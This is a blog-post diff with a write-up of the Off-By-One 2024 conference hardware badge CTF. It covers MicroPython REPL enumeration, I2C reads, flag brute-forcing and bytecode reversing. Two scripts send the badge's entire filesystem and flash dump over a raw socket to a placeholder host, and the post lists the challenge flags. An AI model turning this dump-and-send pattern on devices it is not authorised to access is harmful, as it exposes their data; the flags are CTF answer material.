|
| 1 | +--- |
| 2 | +title: Singapore Off-By-One Conference 2024 Hardware Badge |
| 3 | +description: writeup on hardware badge from off-by-one conference |
| 4 | +date: 2024-06-27 22:00:00 +0800 |
| 5 | +categories: [Writeups] |
| 6 | +img_path: /assets/posts/2024-06-27-off-by-one-badge-2024/ |
| 7 | +tags: [hardware] |
| 8 | +toc: True |
| 9 | +--- |
| 10 | + |
| 11 | +I attended the first ever Vulnerability Research based cybersecurity conference in Singapore -- [**Off By One**](https://offbyone.sg/) organized by __[Star Labs](https://starlabs.sg/), [Eugene Lim](https://spaceraccoon.dev) and [Sim Cher Boon](https://twitter.com/cherboon)__ -- and had an amazing time! |
| 12 | + |
| 13 | +This conference featured a super cool hardware badge made by [Manzel](https://manzelseet.com/), which contained some hardware based challenges with a total of 6 flags. |
| 14 | + |
| 15 | +This is my first time working on such hardware challenges so I thought I should document my experience :) |
| 16 | + |
| 17 | +Also huge kudos for my teammates Gatari and Sunshinefactory for suffering with me, couldn't have done this without them! |
| 18 | + |
| 19 | + |
| 20 | +_my powerpuff friends are so cool!! i love this so much hehe_ |
| 21 | + |
| 22 | +## The Badge |
| 23 | + |
| 24 | + |
| 25 | +_front of badge_ |
| 26 | + |
| 27 | + |
| 28 | +_back of badge_ |
| 29 | + |
| 30 | +This badge features 2 microcontrollers, the Arduino and ESP32S3, with 2 LCD screens alongside a DPAD and two buttons which can be used to interact with the badge functionality. |
| 31 | + |
| 32 | +The functionality includes: |
| 33 | + |
| 34 | +- Web Server |
| 35 | +- Bluetooth Spamming |
| 36 | +- Eyes _(basically just two PNG)_ |
| 37 | +- Roulette _(some random number generator??)_ |
| 38 | + |
| 39 | +We can further interact with the badge through the serial port _(using either putty or [arduino labs](https://labs.arduino.cc/en/labs/micropython))_, which would greet us with a MicroPython repl. |
| 40 | + |
| 41 | +> Micropython is a lightweight version of python with stripped functionality that is meant for embedded devices with limited storage space. |
| 42 | +{:.prompt-tip} |
| 43 | + |
| 44 | +## Enumerating the Badge |
| 45 | + |
| 46 | +### Extracting the Filesystem |
| 47 | + |
| 48 | +We can look through the filesystem in micropython, and we notice that there are a few files and folders contained within the badge. |
| 49 | + |
| 50 | +```py |
| 51 | +>>> import os |
| 52 | +>>> os.listdir() |
| 53 | +['boot.py', 'eyes', 'lib', 'starlabs'] |
| 54 | +``` |
| 55 | + |
| 56 | +We can write a script to extract the filesystem for easier analysis, however there is no trivial way to extract the files through serial port. |
| 57 | + |
| 58 | +Since `ESP32-S3` supports connecting to WiFi, we can simply connect to the internet and send the files back to ourselves via python sockets. |
| 59 | + |
| 60 | +```py |
| 61 | +# script to connect to wifi |
| 62 | +import network |
| 63 | +sta_if = network.WLAN(network.STA_IF) |
| 64 | +sta_if.active(True) |
| 65 | +sta_if.scan() # Scan for available access points |
| 66 | +sta_if.connect("<AP_name>", "<password>") # Connect to an AP |
| 67 | +sta_if.isconnected() # Check for successful connection |
| 68 | +``` |
| 69 | + |
| 70 | +```py |
| 71 | +# script to run on the badge to send out the files |
| 72 | +def list_files_recursively(directory): |
| 73 | + files_list = [] |
| 74 | + for item in os.listdir(directory): |
| 75 | + item_path = directory + '/' + item |
| 76 | + if os.stat(item_path)[0] & 0x4000: # Check if it's a directory |
| 77 | + files_list.extend(list_files_recursively(item_path)) |
| 78 | + else: |
| 79 | + files_list.append(item_path) |
| 80 | + return files_list |
| 81 | + |
| 82 | +import socket |
| 83 | + |
| 84 | +s = socket.socket() |
| 85 | +s.connect(('X.X.X.X', 4444)) |
| 86 | + |
| 87 | +for file in list_files_recursively('./'): |
| 88 | + s.send(f"SPLIT{file}CONTENT") |
| 89 | + with open(file, "rb") as f: |
| 90 | + s.send(f.read()) |
| 91 | + print(file) |
| 92 | + |
| 93 | +s.close() |
| 94 | +``` |
| 95 | + |
| 96 | +### Extracting the Filesystem |
| 97 | + |
| 98 | +In addition to the filesystem, we are also interested in the flash memory of the ESP32 _(essentially extracting the firmware)_. |
| 99 | + |
| 100 | +We can do so using the `esp.flash_read` function that is exposed via the micropython. Afterwards, we can similarly send out the data back to ourselves over the internet. |
| 101 | + |
| 102 | +```py |
| 103 | +# script to send out flash from badge |
| 104 | +import esp |
| 105 | + |
| 106 | +flash_size = esp.flash_size() |
| 107 | +start_addr = 0x0 |
| 108 | +# we need to segment our packets due to limited memory |
| 109 | +block_size = 1024*20 |
| 110 | +buf = bytearray(block_size) |
| 111 | + |
| 112 | +print("--------------------") |
| 113 | +print(f"flash size: {hex(flash_size)}") |
| 114 | +print(f"start addr: {hex(start_addr)}") |
| 115 | +print("--------------------") |
| 116 | + |
| 117 | +import socket |
| 118 | + |
| 119 | +s = socket.socket() |
| 120 | +s.connect(('X.X.X.X', 4444)) |
| 121 | + |
| 122 | +for i in range(flash_size//block_size): |
| 123 | + print(f'[*] {i/(flash_size/block_size)*100}%') |
| 124 | + esp.flash_read(start_addr+block_size*i, buf) |
| 125 | + s.send(bytes(buf)) |
| 126 | + |
| 127 | +s.close() |
| 128 | +``` |
| 129 | + |
| 130 | +If we `strings` the firmware, we can actually obtain 2 flags already XD. |
| 131 | + |
| 132 | +For the sake of completeness, I'll go through each flag individually in the next sections. |
| 133 | + |
| 134 | +## Flag 1: Welcome Flag |
| 135 | + |
| 136 | +_During the CTF, I got this flag by dumping the firmware strings._ |
| 137 | + |
| 138 | +Essentially, we can list the device information using `lsusb` in linux, and the flag is available in the USB description. |
| 139 | + |
| 140 | +```sh |
| 141 | +$ lsusb -v |
| 142 | +Bus 001 Device 005: ID 303a:4001 STAR LABS SG #BadgeLife |
| 143 | +Device Descriptor: |
| 144 | + bLength 18 |
| 145 | + bDescriptorType 1 |
| 146 | + bcdUSB 2.00 |
| 147 | + bDeviceClass 239 Miscellaneous Device |
| 148 | + bDeviceSubClass 2 |
| 149 | + bDeviceProtocol 1 Interface Association |
| 150 | + bMaxPacketSize0 64 |
| 151 | + idVendor 0x303a |
| 152 | + idProduct 0x4001 |
| 153 | + bcdDevice 1.00 |
| 154 | + iManufacturer 1 STAR LABS SG |
| 155 | + iProduct 2 #BadgeLife |
| 156 | + iSerial 3 {Welcome_To_OffByOne_2024} |
| 157 | + bNumConfigurations 1 |
| 158 | + |
| 159 | +``` |
| 160 | + |
| 161 | +## Flag 2: Arduino I2C |
| 162 | + |
| 163 | +After messing around with the micropython modules that expose the embedded devices, I came across the `arduino` module that seemed interesting. |
| 164 | + |
| 165 | +```py |
| 166 | +>>> dir(arduino) |
| 167 | +['__class__', '__init__', '__module__', '__qualname__', '__dict__', 'off', 'on', 'i2c'] |
| 168 | +>>> dir(arduino.i2c) |
| 169 | +['__class__', 'readinto', 'start', 'stop', 'write', 'init', 'readfrom', 'readfrom_into', 'readfrom_mem', 'readfrom_mem_into', 'scan', 'writeto', 'writeto_mem', 'writevto'] |
| 170 | +``` |
| 171 | + |
| 172 | +I2C seems to be a protocol that allows data to be sent. We can use `arduino.i2c.scan()` to scan for open ports, then use `arduino.i2c.readfrom` to read the contents in these ports. |
| 173 | +```py |
| 174 | +>>> arduino.i2c.scan() |
| 175 | +[48, 49] |
| 176 | +>>> arduino.i2c.readfrom(48, 100) |
| 177 | +b'Welcome to STAR LABS CTF. Your first flag is starlabs{i2c_flag_1}' # truncated |
| 178 | +>>> arduino.i2c.readfrom(49, 100) |
| 179 | +b'The early bird catches the worm. System uptime: 20473. You are too late. Reboot the arduino and try again.' |
| 180 | +``` |
| 181 | + |
| 182 | +This gives us the flag, `starlabs{i2c_flag_1}` |
| 183 | + |
| 184 | +## Flag 3: Arduino I2C Part 2 |
| 185 | + |
| 186 | +I had an oversight which caused me to not obtain this flag during the CTF. |
| 187 | + |
| 188 | +If you noticed in the previous part, one of the I2C ports gave us the flag and the other one told us we were late. |
| 189 | + |
| 190 | +The second I2C port asked us to reboot the arduino and try again. Apparently the I2C port prints out the flag one letter at a time when the arduino has just booted. |
| 191 | + |
| 192 | +We can write a python script to extract the flag from the I2C. |
| 193 | + |
| 194 | +```py |
| 195 | +arduino.off() |
| 196 | +arduino.on() |
| 197 | +time.sleep(3) |
| 198 | +for i in range(100): |
| 199 | + time.sleep_ms(2) |
| 200 | + x = arduino.i2c.readfrom(49, 100).rstrip(b'\xff') |
| 201 | + if b'flag' in x: |
| 202 | + print(x) |
| 203 | +``` |
| 204 | + |
| 205 | +``` |
| 206 | +'The early bird catches the worm. System uptime: 200. You are an early bird, here is your flag: s' |
| 207 | +b'The early bird catches the worm. System uptime: 201. You are an early bird, here is your flag: t' |
| 208 | +b'The early bird catches the worm. System uptime: 202. You are an early bird, here is your flag: a' |
| 209 | +b'The early bird catches the worm. System uptime: 203. You are an early bird, here is your flag: r' |
| 210 | +b'The early bird catches the worm. System uptime: 204. You are an early bird, here is your flag: l' |
| 211 | +b'The early bird catches the worm. System uptime: 205. You are an early bird, here is your flag: a' |
| 212 | +b'The early bird catches the worm. System uptime: 206. You are an early bird, here is your flag: b' |
| 213 | +b'The early bird catches the worm. System uptime: 207. You are an early bird, here is your flag: s' |
| 214 | +b'The early bird catches the worm. System uptime: 208. You are an early bird, here is your flag: {' |
| 215 | +b'The early bird catches the worm. System uptime: 209. You are an early bird, here is your flag: i' |
| 216 | +b'The early bird catches the worm. System uptime: 210. You are an early bird, here is your flag: 2' |
| 217 | +b'The early bird catches the worm. System uptime: 211. You are an early bird, here is your flag: c' |
| 218 | +b'The early bird catches the worm. System uptime: 212. You are an early bird, here is your flag: _' |
| 219 | +b'The early bird catches the worm. System uptime: 213. You are an early bird, here is your flag: f' |
| 220 | +b'The early bird catches the worm. System uptime: 214. You are an early bird, here is your flag: l' |
| 221 | +b'The early bird catches the worm. System uptime: 215. You are an early bird, here is your flag: a' |
| 222 | +b'The early bird catches the worm. System uptime: 216. You are an early bird, here is your flag: g' |
| 223 | +b'The early bird catches the worm. System uptime: 217. You are an early bird, here is your flag: _' |
| 224 | +b'The early bird catches the worm. System uptime: 218. You are an early bird, here is your flag: 3' |
| 225 | +b'The early bird catches the worm. System uptime: 219. You are an early bird, here is your flag: }' |
| 226 | +b'The early bird catches the worm. System uptime: 220. You are an early bird, here is your flag: ' |
| 227 | +``` |
| 228 | + |
| 229 | +The flag is `starlabs{i2c_flag_3}`. |
| 230 | + |
| 231 | +## Flag 4: flaglib |
| 232 | + |
| 233 | +I initially solved this by dumping the flag from the firmware, but afterwards I found the intended solution. |
| 234 | + |
| 235 | +By enumerating the micropython REPL, we find that there is a builtin module called **flaglib**. |
| 236 | + |
| 237 | +```py |
| 238 | +>>> help('modules') |
| 239 | +__main__ btree hashlib select |
| 240 | +_asyncio builtins heapq socket |
| 241 | +_boot cmath inisetup ssl |
| 242 | +_espnow collections io struct |
| 243 | +_onewire cryptolib json sys |
| 244 | +_thread deflate machine time |
| 245 | +_webrepl dht math uasyncio |
| 246 | +apa106 ds18x20 micropython uctypes |
| 247 | +array errno mip/__init__ umqtt/robust |
| 248 | +asyncio/__init__ esp neopixel umqtt/simple |
| 249 | +asyncio/core esp32 network upysh |
| 250 | +asyncio/event espnow ntptime urequests |
| 251 | +asyncio/funcs flaglib onewire webrepl |
| 252 | +asyncio/lock flashbdev os webrepl_setup |
| 253 | +asyncio/stream framebuf platform websocket |
| 254 | +binascii gc random |
| 255 | +bluetooth gc9a01 re |
| 256 | +Plus any modules on the filesystem |
| 257 | +>>> import flaglib |
| 258 | +>>> dir(flaglib) |
| 259 | +['__class__', '__name__', '__dict__', 'getflag'] |
| 260 | +>>> flaglib.getflag("TESTING") |
| 261 | +'???????' |
| 262 | +``` |
| 263 | + |
| 264 | +flaglib exposes a `getflag` function which takes in a string and returns a bunch of question marks. |
| 265 | + |
| 266 | +By doing some intelligent guessing, we can realize that the function returns question mark if our corresponding flag character is wrong. |
| 267 | + |
| 268 | +```py |
| 269 | +>>> flaglib.getflag("{") |
| 270 | +'{' |
| 271 | +``` |
| 272 | + |
| 273 | +In that case, we can brute force the flag with this script. |
| 274 | + |
| 275 | +```python |
| 276 | +import flaglib |
| 277 | +printable = r"{}abcdefghijklmnopqrstuvwxyz_1234567890" |
| 278 | +flag = "{" |
| 279 | + |
| 280 | +while flag[-1] != '}': |
| 281 | + for x in printable: |
| 282 | + check = flaglib.getflag(flag+x)[-1] |
| 283 | + if check[-1] != '?': |
| 284 | + flag += x |
| 285 | + print(flag) |
| 286 | +``` |
| 287 | + |
| 288 | +The flag is `{my_compiled_python_library}`. |
| 289 | + |
| 290 | +## Flag 5: The Roulette |
| 291 | + |
| 292 | +By reading the `boot.py` file that details the functionality of the program, we realize that it imports a library `roulette` from a micropython compiled file `roulette.mpy`. |
| 293 | + |
| 294 | +If all the numbers outputted by the roulette is **7**, the flag will be returned by the `roulette.roulette` function. |
| 295 | + |
| 296 | +### My Solution |
| 297 | + |
| 298 | +Without any information, the natural instinct for me is to reverse engineer this module. |
| 299 | + |
| 300 | +My teammate managed to disassemble it into python bytecode, which you can find [here](/assets/posts/2024-06-27-off-by-one-badge-2024/decompiled.txt). |
| 301 | + |
| 302 | +From the following two functions, we can tell that there is some `reversed()` and `zlib.decompress()` going on. |
| 303 | + |
| 304 | +``` |
| 305 | +simple_name: r |
| 306 | + raw bytecode: 16 19:08:10:18:80:1d:12:19:12:1a:b0:34:01:34:01:63 |
| 307 | + prelude: (4, 0, 0, 1, 0, 0) |
| 308 | + args: ['s'] |
| 309 | + line info: 80:1d |
| 310 | + 12:19 LOAD_GLOBAL bytes |
| 311 | + 12:1a LOAD_GLOBAL reversed |
| 312 | + b0 LOAD_FAST 0 |
| 313 | + 34:01 CALL_FUNCTION 1 |
| 314 | + 34:01 CALL_FUNCTION 1 |
| 315 | + 63 RETURN_VALUE |
| 316 | + children: [] |
| 317 | +simple_name: <lambda> |
| 318 | + raw bytecode: 18 19:08:11:1b:80:22:12:1c:10:12:34:01:14:13:b0:36:01:63 |
| 319 | + prelude: (4, 0, 0, 1, 0, 0) |
| 320 | + args: ['__'] |
| 321 | + line info: 80:22 |
| 322 | + 12:1c LOAD_GLOBAL __import__ |
| 323 | + 10:12 LOAD_CONST_STRING zlib |
| 324 | + 34:01 CALL_FUNCTION 1 |
| 325 | + 14:13 LOAD_METHOD decompress |
| 326 | + b0 LOAD_FAST 0 |
| 327 | + 36:01 CALL_METHOD 1 |
| 328 | + 63 RETURN_VALUE |
| 329 | + children: [] |
| 330 | +``` |
| 331 | + |
| 332 | +We also notice the construction of this byte array within the code. |
| 333 | + |
| 334 | +``` |
| 335 | + 22:81:65 LOAD_CONST_SMALL_INT 229 |
| 336 | + 8b LOAD_CONST_SMALL_INT 11 |
| 337 | + 94 LOAD_CONST_SMALL_INT 20 |
| 338 | + 22:81:7b LOAD_CONST_SMALL_INT 251 |
| 339 | + ... |
| 340 | + ... |
| 341 | + ... |
| 342 | + ... |
| 343 | + 22:37 LOAD_CONST_SMALL_INT 55 |
| 344 | + 22:81:2b LOAD_CONST_SMALL_INT 171 |
| 345 | + 22:81:1c LOAD_CONST_SMALL_INT 156 |
| 346 | + 22:80:78 LOAD_CONST_SMALL_INT 120 |
| 347 | +``` |
| 348 | + |
| 349 | +If we make an intelligent guess, and `zlib.decompress(array[::-1])`, we will get the flag! |
| 350 | + |
| 351 | +### Intended Solution |
| 352 | + |
| 353 | +The solution was in reality, much cooler than what I've done. |
| 354 | + |
| 355 | +The challenge author, Manzel, came over to me and took a spare wire to poke two things in the ESP32 chip and the roulette suddenly spinned to all **7s**!! |
| 356 | + |
| 357 | + |
| 358 | + |
| 359 | +Essentially, there was also the string `pin = 1 adc = machine.ADC(pin)` within the decompiled code which hinted that the generated roulette number was based off the value of Pin 1 of the ESP32 microcontroller. |
| 360 | + |
| 361 | +I am still not certain how to correctly manipulate this value, which I believe will also require some reversing to be done on the code, but it was really cool poking a wire at the microcontroller to get the flag! |
| 362 | + |
| 363 | +## Conclusion |
| 364 | + |
| 365 | +This was an eye-opening experience, and I'm really greatful for the chance to try it out. |
| 366 | + |
| 367 | +I hope to learn how to do glitching _(flag 6)_ one day so I can write about it... |
| 368 | + |
| 369 | +Huge thanks to my friendos <3 |
0 commit comments